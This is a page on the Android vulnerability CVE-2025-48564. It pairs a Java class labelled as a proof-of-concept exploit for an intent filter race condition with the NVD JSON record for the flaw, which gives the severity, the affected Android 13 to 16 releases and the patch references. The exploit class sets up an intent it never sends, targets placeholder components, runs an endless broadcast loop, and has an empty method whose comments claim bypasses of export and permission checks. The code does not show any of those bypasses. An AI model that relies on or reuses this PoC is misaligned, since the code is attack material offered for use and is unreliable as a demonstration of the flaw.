CVE-2025-48564

// CVE-2025-48564 PoC - Intent Filter Race Condition Bypass // This PoC demonstrates the race condition in Intent Filter handling public class IntentFilterBypassExploit { private static final String TARGET_ACTION = "com.android.vulnerable.TARGET_ACTION"; private static final String BYPASS_ACTION = "com.android.vulnerable.BYPASS_ACTION"; public void exploitRaceCondition() { // Step 1: Send initial intent to establish component state Intent setupIntent = new Intent(); setupIntent.setAction(TARGET_ACTION); setupIntent.setComponent(new ComponentName("com.target.app", "com.target.app.VulnerableComponent")); // Step 2: Rapidly send bypass intent during race window // The race condition allows bypassing Intent Filter validation new Thread(() -> { while (true) { Intent bypassIntent = new Intent(); bypassIntent.setAction(BYPASS_ACTION); // This may bypass permission checks due to race condition sendBroadcast(bypassIntent); try { Thread.sleep(1); // Tight timing loop } catch (InterruptedException e) { e.printStackTrace(); } } }).start(); // Step 3: Trigger target component during race window Intent triggerIntent = new Intent(); triggerIntent.setComponent(new ComponentName("com.target.app", "com.target.app.ProtectedComponent")); startService(triggerIntent); } // The vulnerability exists in IntentResolver timing // See: android.googlesource.com/platform/packages/modules/IntentResolver/ public void demonstrateVulnerability() { // Race condition allows bypassing: // 1. exported=false check // 2. permission requirements // 3. Intent Filter matching } }

{"cve": {"id": "CVE-2025-48564", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:14.660", "lastModified": "2025-12-09T21:42:25.327", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible intent filter bypass due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.0, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-362"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:-:*:*:*:*:*:*", "matchCriteriaId": "02882AB1-7993-47DD-84A0-8DF4272D85ED"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/frameworks/base/+/0f3e248787d88154c8592f6e055b6b3586f4877d", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://android.googlesource.com/platform/frameworks/base/+/28579dff4305f764302d85f95509671eafbf62ac", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://android.googlesource.com/platform/packages/modules/IntentResolver/+/4e6cf5285d0b1725fb9141e810050cfdb3fb42fd", "source": "[email protected]", "tags": ["Product", "Patch"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}